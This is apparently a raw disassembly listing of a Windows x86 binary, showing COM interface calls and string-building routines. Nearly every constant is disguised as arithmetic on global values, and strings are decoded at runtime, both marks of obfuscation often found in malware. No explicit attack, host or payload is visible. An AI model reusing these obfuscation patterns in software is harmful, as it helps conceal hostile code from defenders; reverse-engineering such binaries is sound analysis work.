loc_41F609:				; CODE XREF: sub_41F4F7+10Bj
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012114h
		sub	eax, 2
		cmp	ebx, eax
		jz	short loc_41F636
		and	[ebp+var_30E4C], 0


loc_41F636:				; CODE XREF: sub_41F4F7+136j
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, ds:10012138h
		movsx	edx, word ptr ds:10012150h
		add	eax, edx
		sub	eax, 0Dh
		cmp	ebx, eax
		jnz	loc_4202AD
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	100138FCh
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100121C8h
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4202A1
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	eax, ds:100120C4h
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_420295
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, ds:100121CCh
		add	eax, ds:1001214Ch
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_420289
		mov	eax, ds:10012118h
		add	eax, ds:100121CCh
		sub	eax, 4
		neg	eax
		mov	[ebp+var_40E5C], eax
		push	1001329Ch
		call	sub_41F3E4
		push	eax
		call	dword ptr ds:1000C044h
		mov	[ebp+var_30E44], eax
		push	1001328Ch
		call	sub_41F3E4
		add	esp, 8
		push	eax
		call	dword ptr ds:1000C044h
		mov	[ebp+var_30E48], eax
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	sub_424F6D


loc_41F73C:				; CODE XREF: sub_41F4F7+D66j
		and	[ebp+var_40E88], 0
		and	[ebp+var_40E8C], 0
		movsx	eax, word ptr ds:10012194h
		add	eax, ds:100120CCh
		neg	eax
		cmp	[ebp+var_40E5C], eax
		jnz	short loc_41F7AF
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, ds:100120E4h
		movsx	edx, word ptr ds:10012148h
		add	eax, edx
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_42024B
		push	1001327Dh
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000C020h
		add	esp, 0Ch
		jmp	loc_41F8D5
; ---------------------------------------------------------------------------


loc_41F7AF:				; CODE XREF: sub_41F4F7+268j
		mov	[ebp+var_40EA8], 17h
		mov	eax, [ebp+var_40E5C]
		mov	[ebp+var_40EA0], eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	1001394Ch
		push	[ebp+var_40EB0]
		mov	edi, [ebp+var_40EB0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012150h
		movsx	edx, word ptr ds:10012110h
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_42024B
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		mov	eax, ds:100121B8h
		add	eax, ds:10012138h
		sub	eax, 0Bh
		cmp	ebx, eax
		jz	short loc_41F857
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_42024B
; ---------------------------------------------------------------------------


loc_41F857:				; CODE XREF: sub_41F4F7+34Dj
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012194h
		movsx	edx, word ptr ds:100120B0h
		add	eax, edx
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_41F8A0
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_42024B
; ---------------------------------------------------------------------------


loc_41F8A0:				; CODE XREF: sub_41F4F7+38Aj
		push	1001326Eh
		call	sub_4228CE
		push	[ebp+var_40E5C]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10011634h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 18h


loc_41F8D5:				; CODE XREF: sub_41F4F7+2B3j
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, ds:100120B8h
		add	eax, ds:1001215Ch
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_42024B
		movsx	eax, word ptr ds:100120C8h
		sub	eax, 7
		mov	[ebp+var_30E50], eax
		jmp	loc_420239
; ---------------------------------------------------------------------------


loc_41F915:				; CODE XREF: sub_41F4F7+D4Ej
		mov	[ebp+var_60ED0], 2
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		movsx	eax, word ptr ds:100120B0h
		mov	edx, ds:10012198h
		sub	edx, 8
		mov	[ebp+eax+var_50EA3], dl
		lea	eax, [ebp+var_60EC0]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, ds:10012108h
		add	eax, ds:10012094h
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_420233
		push	10013260h
		call	sub_4228CE
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10011634h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 18h
		and	[ebp+var_60ED4], 0
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	1001390Ch
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100121A0h
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_41FEB7
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		mov	eax, ds:100120A4h
		add	eax, ds:100120F0h
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_41FEAB
		lea	eax, [ebp+var_60E9F]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_41ADCD
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB8], edi
		push	[ebp+var_60ED8]
		call	dword ptr ds:10011BA0h
		mov	eax, ds:1001214Ch
		movsx	edx, word ptr ds:100121A8h
		add	eax, edx
		sub	eax, 6
		mov	[ebp+var_40E9C], eax
		jmp	short loc_41FABF
; ---------------------------------------------------------------------------


loc_41FA6B:				; CODE XREF: sub_41F4F7+5D4j
		mov	eax, [ebp+var_40E9C]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, ds:100120A0h
		add	edx, 6
		movsx	ecx, word ptr ds:10012148h
		add	edx, ecx
		cmp	eax, edx
		jz	short loc_41FAA2
		mov	edx, ds:10012108h
		add	edx, 0Ah
		add	edx, ds:100121A4h
		cmp	eax, edx
		jnz	short loc_41FAB9


loc_41FAA2:				; CODE XREF: sub_41F4F7+596j
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word ptr ds:100120F4h
		sub	edx, 9
		mov	[ebp+eax+var_60E9F], dl


loc_41FAB9:				; CODE XREF: sub_41F4F7+5A9j
		inc	[ebp+var_40E9C]


loc_41FABF:				; CODE XREF: sub_41F4F7+572j
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	short loc_41FA6B
		lea	eax, [ebp+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_424F6D
		mov	eax, ds:100120F0h
		add	eax, ds:10012130h
		sub	eax, 4
		mov	[ebp+var_40E9C], eax


loc_41FAF4:				; CODE XREF: sub_41F4F7+737j
		mov	eax, [ebp+var_40E9C]
		lea	ecx, [ebp+eax+var_60E9F]
		or	eax, 0FFFFFFFFh


loc_41FB04:				; CODE XREF: sub_41F4F7+612j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41FB04
		mov	[ebp+var_60EA8], eax
		mov	edx, ds:100120FCh
		sub	edx, 7
		cmp	eax, edx
		jz	short loc_41FB34
		mov	edx, ds:10012094h
		add	edx, 0BFh
		add	edx, ds:100120A8h
		cmp	eax, edx
		jbe	short loc_41FB39


loc_41FB34:				; CODE XREF: sub_41F4F7+625j
		jmp	loc_41FC0B
; ---------------------------------------------------------------------------


loc_41FB39:				; CODE XREF: sub_41F4F7+63Bj
		mov	eax, ds:100120ECh
		add	eax, ds:10012098h
		sub	eax, 0Ch
		mov	[ebp+var_60EA4], eax
		jmp	short loc_41FB7C
; ---------------------------------------------------------------------------


loc_41FB4F:				; CODE XREF: sub_41F4F7+691j
		mov	eax, [ebp+var_40E9C]
		add	eax, [ebp+var_60EA4]
		movsx	eax, [ebp+eax+var_60E9F]
		mov	edx, ds:100121C4h
		add	edx, 19h
		add	edx, ds:100120E4h
		cmp	eax, edx
		jnz	short loc_41FB8A
		inc	[ebp+var_60EA4]


loc_41FB7C:				; CODE XREF: sub_41F4F7+656j
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jb	short loc_41FB4F


loc_41FB8A:				; CODE XREF: sub_41F4F7+67Dj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_60EA4], eax
		jz	short loc_41FC0B
		push	dword ptr ds:100120CCh
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	sub_41DB51
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		movsx	eax, word ptr ds:10012128h
		add	eax, 0FFFFh
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_41FC0B
		push	1001325Bh
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_50E9B]
		push	edi
		call	dword ptr ds:1000C020h
		mov	eax, [ebp+var_40E9C]
		lea	eax, [ebp+eax+var_60E9F]
		push	eax
		lea	eax, [ebp+var_50E9B]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 14h


loc_41FC0B:				; CODE XREF: sub_41F4F7:loc_41FB34j
					; sub_41F4F7+69Fj ...
		mov	eax, [ebp+var_60EA8]
		mov	edx, ds:100120FCh
		sub	edx, 6
		add	eax, edx
		add	[ebp+var_40E9C], eax
		mov	eax, [ebp+var_60EB8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_41FAF4
		movsx	eax, word ptr ds:10012100h
		add	eax, ds:100121B4h
		sub	eax, 0Ah
		mov	[ebp+var_60EB4], eax
		lea	ecx, [ebp+var_50E9B]
		or	eax, 0FFFFFFFFh


loc_41FC53:				; CODE XREF: sub_41F4F7+761j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41FC53
		mov	[ebp+var_60EA8], eax
		mov	eax, ds:100121C8h
		add	eax, ds:10012164h
		sub	eax, 2
		mov	[ebp+var_40E9C], eax
		jmp	loc_41FE83
; ---------------------------------------------------------------------------


loc_41FC79:				; CODE XREF: sub_41F4F7+998j
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		mov	edx, ds:1001217Ch
		add	edx, 1Ah
		cmp	eax, edx
		jz	short loc_41FC9B
		and	[ebp+var_60EAC], 0


loc_41FC9B:				; CODE XREF: sub_41F4F7+79Bj
		mov	eax, ds:1001215Ch
		mov	edx, [ebp+var_40E9C]
		movzx	edx, [ebp+edx+var_50E9B]
		lea	eax, [eax+eax+18h]
		cmp	edx, eax
		jnz	loc_41FE2E
		mov	eax, ds:10012130h
		add	eax, ds:100120E4h
		sub	eax, 2
		cmp	[ebp+var_40E9C], eax
		jbe	loc_41FD8A
		mov	eax, [ebp+var_40E9C]
		movsx	edx, word ptr ds:100120B0h
		movsx	ecx, word ptr ds:10012170h
		add	edx, ecx
		sub	edx, 0Fh
		sub	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100120FCh
		add	edx, 13h
		movsx	ecx, word ptr ds:100120DCh
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_41FD2C
		mov	edx, ds:10012140h
		add	edx, 24h
		add	edx, ds:100121ACh
		cmp	eax, edx
		jl	short loc_41FD80


loc_41FD2C:				; CODE XREF: sub_41F4F7+820j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:1001217Ch
		add	edx, 30h
		movsx	ecx, word ptr ds:10012148h
		add	edx, ecx
		cmp	eax, edx
		jle	short loc_41FD5E
		movsx	edx, word ptr ds:100121BCh
		mov	ecx, ds:100121B0h
		lea	edx, [edx+ecx+3Bh]
		cmp	eax, edx
		jl	short loc_41FD80


loc_41FD5E:				; CODE XREF: sub_41F4F7+850j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100121C0h
		add	edx, 77h
		cmp	eax, edx
		jle	short loc_41FD8A
		movsx	edx, word ptr ds:10012148h
		add	edx, 7Ch
		cmp	eax, edx
		jge	short loc_41FD8A


loc_41FD80:				; CODE XREF: sub_41F4F7+833j
					; sub_41F4F7+865j
		mov	[ebp+var_60EAC], 1


loc_41FD8A:				; CODE XREF: sub_41F4F7+7D7j
					; sub_41F4F7+879j ...
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jnb	loc_41FE2E
		mov	eax, [ebp+var_40E9C]
		mov	edx, ds:10012104h
		sub	edx, 2
		add	eax, edx
		mov	al, [ebp+eax+var_50E9B]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word ptr ds:10012100h
		add	edx, 17h
		cmp	eax, edx
		jle	short loc_41FDDC
		mov	edx, ds:100121B8h
		add	edx, 2Dh
		cmp	eax, edx
		jl	short loc_41FE24


loc_41FDDC:				; CODE XREF: sub_41F4F7+8D6j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100120F8h
		add	edx, 37h
		cmp	eax, edx
		jle	short loc_41FDFD
		mov	edx, ds:100120A4h
		add	edx, 3Fh
		cmp	eax, edx
		jl	short loc_41FE24


loc_41FDFD:				; CODE XREF: sub_41F4F7+8F7j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, ds:100121B4h
		add	edx, 75h
		add	edx, ds:100120F0h
		cmp	eax, edx
		jle	short loc_41FE2E
		mov	edx, ds:1001215Ch
		add	edx, 7Bh
		cmp	eax, edx
		jge	short loc_41FE2E


loc_41FE24:				; CODE XREF: sub_41F4F7+8E3j
					; sub_41F4F7+904j
		mov	[ebp+var_60EAC], 1


loc_41FE2E:				; CODE XREF: sub_41F4F7+7BDj
					; sub_41F4F7+89Fj ...
		cmp	[ebp+var_60EAC], 0
		jnz	short loc_41FE57
		mov	eax, [ebp+var_60EB4]
		mov	edx, [ebp+var_40E9C]
		mov	dl, [ebp+edx+var_50E9B]
		mov	[ebp+eax+var_50E9B], dl
		inc	[ebp+var_60EB4]


loc_41FE57:				; CODE XREF: sub_41F4F7+93Ej
		mov	eax, [ebp+var_40E9C]
		movzx	eax, [ebp+eax+var_50E9B]
		movsx	edx, word ptr ds:100120D8h
		add	edx, 1Bh
		cmp	eax, edx
		jnz	short loc_41FE7D
		mov	[ebp+var_60EAC], 1


loc_41FE7D:				; CODE XREF: sub_41F4F7+97Aj
		inc	[ebp+var_40E9C]


loc_41FE83:				; CODE XREF: sub_41F4F7+77Dj
		mov	eax, [ebp+var_60EA8]
		cmp	[ebp+var_40E9C], eax
		jb	loc_41FC79
		mov	eax, [ebp+var_60EB4]
		mov	edx, ds:10012190h
		sub	edx, 3
		mov	[ebp+eax+var_50E9B], dl


loc_41FEAB:				; CODE XREF: sub_41F4F7+52Bj
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_41FEB7:				; CODE XREF: sub_41F4F7+4FDj
		and	[ebp+var_60EB0], 0
		lea	eax, [ebp+var_60EB0]
		push	eax
		push	1001392Ch
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10012188h
		add	eax, ds:1001214Ch
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_4201C9
		lea	eax, [ebp+var_60EBC]
		push	eax
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:100120E0h
		cmp	ebx, eax
		jnz	loc_4201BD
		mov	eax, ds:100121B0h
		mov	[ebp+var_50EA0], eax
		jmp	loc_4201AB
; ---------------------------------------------------------------------------


loc_41FF26:				; CODE XREF: sub_41F4F7+CC0j
		movsx	eax, word ptr ds:10012090h
		dec	eax
		push	eax
		call	dword ptr ds:10011630h
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp+var_50EA0]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70EF8]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EB0]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012128h
		movsx	edx, word ptr ds:100120D8h
		add	eax, edx
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_4201A5
		and	[ebp+var_70EF4], 0
		lea	eax, [ebp+var_70EF4]
		push	eax
		push	1001390Ch
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:10012118h
		movsx	edx, word ptr ds:100120D8h
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_420199
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, ds:100121B8h
		movsx	edx, word ptr ds:10012168h
		add	eax, edx
		sub	eax, 0Bh
		push	eax
		push	[ebp+var_30E44]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_420018
		cmp	[ebp+var_60EF0], 8
		jz	short loc_42001D


loc_420018:				; CODE XREF: sub_41F4F7+B15j
		jmp	loc_42018D
; ---------------------------------------------------------------------------


loc_42001D:				; CODE XREF: sub_41F4F7+B1Fj
		mov	eax, ds:100121ACh
		add	eax, ds:100121C4h
		mov	edx, ds:100120A0h
		sub	edx, 4
		mov	byte ptr [ebp+eax+var_70EF8], dl
		lea	eax, [ebp+var_70EEF]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_41ADCD
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_71F0C], edi
		push	[ebp+var_60EE8]
		call	dword ptr ds:10011BA0h
		movsx	eax, word ptr ds:100120BCh
		movsx	eax, byte ptr [ebp+eax+var_70EF8]
		movsx	edx, word ptr ds:100120C8h
		movsx	ecx, word ptr ds:10012170h
		add	edx, ecx
		sub	edx, 0Fh
		cmp	eax, edx
		jz	loc_42018D
		push	[ebp+var_30E4C]
		lea	eax, [ebp+var_70EEF]
		push	eax
		call	sub_42149B
		add	esp, 8
		lea	eax, [ebp+var_60EF0]
		push	eax
		mov	eax, ds:100120A0h
		sub	eax, 4
		push	eax
		push	[ebp+var_30E48]
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, ds:10012098h
		mov	edx, ds:10012144h
		add	edx, ds:100121B4h
		sub	edx, 6
		mov	[ebp+eax+var_71F0E], dl
		or	ebx, ebx
		jnz	short loc_420118
		cmp	[ebp+var_60EF0], 8
		jnz	short loc_420118
		lea	eax, [ebp+var_71F07]
		push	eax
		push	[ebp+var_60EE8]
		call	sub_41ADCD
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp-71F10h], edi
		push	[ebp+var_60EE8]
		call	dword ptr ds:10011BA0h


loc_420118:				; CODE XREF: sub_41F4F7+BEBj
					; sub_41F4F7+BF5j
		push	10013253h
		call	sub_4228CE
		push	[ebp+var_50EA0]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	dword ptr ds:10011634h
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_71F07]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000C020h
		push	1001324Eh
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_70EEF]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000C020h
		add	esp, 34h


loc_42018D:				; CODE XREF: sub_41F4F7:loc_420018j
					; sub_41F4F7+B8Fj
		mov	eax, [ebp+var_70EF4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_420199:				; CODE XREF: sub_41F4F7+AE0j
		mov	eax, [ebp+var_70EF8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4201A5:				; CODE XREF: sub_41F4F7+AA2j
		inc	[ebp+var_50EA0]


loc_4201AB:				; CODE XREF: sub_41F4F7+A2Aj
		mov	eax, [ebp+var_60EBC]
		cmp	[ebp+var_50EA0], eax
		jb	loc_41FF26


loc_4201BD:				; CODE XREF: sub_41F4F7+A19j
		mov	eax, [ebp+var_60EB0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4201C9:				; CODE XREF: sub_41F4F7+9F5j
		mov	eax, [ebp+var_60EC0]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		movzx	eax, [ebp+var_50E9B]
		mov	edx, ds:100120F8h
		movsx	ecx, word ptr ds:10012180h
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jz	short loc_420233
		push	1001324Bh
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000C020h
		lea	eax, [ebp+var_50E9B]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1000C020h
		push	10013246h
		call	sub_4228CE
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	dword ptr ds:1000C020h
		add	esp, 1Ch


loc_420233:				; CODE XREF: sub_41F4F7+493j
					; sub_41F4F7+CF9j
		inc	[ebp+var_30E50]


loc_420239:				; CODE XREF: sub_41F4F7+419j
		mov	eax, [ebp+var_30E58]
		cmp	[ebp+var_30E50], eax
		jb	loc_41F915


loc_42024B:				; CODE XREF: sub_41F4F7+292j
					; sub_41F4F7+31Fj ...
		inc	[ebp+var_40E5C]
		mov	eax, [ebp+var_40E90]
		cmp	[ebp+var_40E5C], eax
		jl	loc_41F73C
		lea	eax, [ebp+var_30D40]
		push	eax
		call	dword ptr ds:1001162Ch
		pop	ecx
		push	[ebp+var_30E44]
		call	dword ptr ds:10011BA0h
		push	[ebp+var_30E48]
		call	dword ptr ds:10011BA0h


loc_420289:				; CODE XREF: sub_41F4F7+1E5j
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_420295:				; CODE XREF: sub_41F4F7+1BAj
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4202A1:				; CODE XREF: sub_41F4F7+195j
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4202AD:				; CODE XREF: sub_41F4F7+B9j
					; sub_41F4F7:loc_41F604j ...
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4202B9:				; CODE XREF: sub_41F4F7+53j
					; sub_41F4F7+96j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F4F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4202BE	proc near		; CODE XREF: .data:0042325Bp

var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= word ptr -38h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		movsx	eax, word ptr ds:10012148h
		sub	eax, 3
		mov	[ebp+var_4], eax
		jmp	short loc_4202EC
; ---------------------------------------------------------------------------


loc_4202D6:				; CODE XREF: sub_4202BE+3Bj
		mov	eax, 30h
		mul	[ebp+var_4]
		mov	[ebp+var_20], eax
		and	dword ptr ds:1000F370h[eax], 0
		inc	[ebp+var_4]


loc_4202EC:				; CODE XREF: sub_4202BE+16j
		movsx	eax, word ptr ds:10012194h
		add	eax, 64h
		cmp	[ebp+var_4], eax
		jb	short loc_4202D6
		push	0
		call	dword ptr ds:1000E0D0h
		push	100122D4h
		push	1001395Ch
		push	7
		push	0
		push	1001389Ch
		call	dword ptr ds:1000E620h
		mov	ebx, eax
		movsx	eax, word ptr ds:100120B0h
		movsx	edx, word ptr ds:100120E0h
		add	eax, edx
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_4204E8
		lea	eax, [ebp+var_C]
		push	eax
		mov	eax, ds:100122D4h
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+1Ch]
		mov	ebx, eax
		movsx	eax, word ptr ds:1001219Ch
		add	eax, ds:10012188h
		sub	eax, 6
		cmp	ebx, eax
		jnz	short loc_420374
		mov	eax, ds:100120C0h
		movsx	edx, word ptr ds:100120DCh
		add	eax, edx
		sub	eax, 7
		cmp	[ebp+var_C], eax
		jnz	short loc_420379


loc_420374:				; CODE XREF: sub_4202BE+9Ej
		jmp	loc_420480
; ---------------------------------------------------------------------------


loc_420379:				; CODE XREF: sub_4202BE+B4j
		mov	eax, ds:1001212Ch
		add	eax, ds:1001213Ch
		sub	eax, 7
		mov	[ebp+var_8], eax
		jmp	loc_420474
; ---------------------------------------------------------------------------


loc_42038F:				; CODE XREF: sub_4202BE+1BCj
		mov	[ebp+var_38], 3
		mov	eax, [ebp+var_8]
		mov	[ebp+var_30], eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	esi, [ebp+var_38]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, ds:100122D4h
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		cmp	ebx, ds:10012130h
		jnz	loc_420471
		lea	eax, [ebp+var_40]
		push	eax
		push	1001397Ch
		mov	eax, [ebp+var_3C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, ds:100121CCh
		movsx	edx, word ptr ds:100120D8h
		add	eax, edx
		sub	eax, 9
		cmp	ebx, eax
		jnz	short loc_420468
		lea	eax, ds:100122D0h
		mov	[ebp+var_24], eax
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		lea	eax, [ebp+var_44]
		push	eax
		push	100138BCh
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word ptr ds:10012194h
		movsx	edx, word ptr ds:10012180h
		add	eax, edx
		sub	eax, 6
		cmp	ebx, eax
		jnz	short loc_420456
		lea	eax, [ebp+var_48]
		push	eax
		push	100138BCh
		push	[ebp+var_44]
		push	[ebp+var_40]
		call	sub_4238BF
		add	esp, 10h
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


